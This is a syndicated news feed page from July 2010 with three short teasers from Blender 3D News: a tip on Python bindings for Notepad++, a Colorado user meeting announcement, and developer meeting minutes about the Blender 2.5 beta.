Blender 3D News - Wed, 07/21/2010 - 06:31
Notepad++ is an open source text editor for Windows. With Murat Egretli’s Python bindings, it becomes a nice tool for editing Blender Python scripts. Murat Egretli (Demohero) writes: Hi...

[read the full article on blendernation.com]
Categories: 2D & 3D Animation

Colorado User Meeting July 25th

Blender 3D News - Tue, 07/20/2010 - 10:00
Next Sunday, Blender users in Colorado will meet. Did you ever meet another Blender user in person? Why not set up your own Blender User Meeting! John R. Nyquist writes: Our third Colorado Blender...

[read the full article on blendernation.com]
Categories: 2D & 3D Animation

Blender Developer Meeting Minutes – July 18th, 2010

Blender 3D News - Tue, 07/20/2010 - 05:19
Will Blender 2.5 Beta be released this week? Current Projects Martin’s netrender is getting good testing from the 48h project, some issues identified are a need to rework library relinking and...

[read the full article on blendernation.com]
Categories: 2D & 3D Animation
Syndicate content